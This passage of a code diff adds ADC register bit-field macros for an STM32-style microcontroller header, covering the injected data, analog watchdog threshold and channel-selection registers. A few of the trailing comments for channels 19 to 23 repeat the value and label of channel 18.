ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 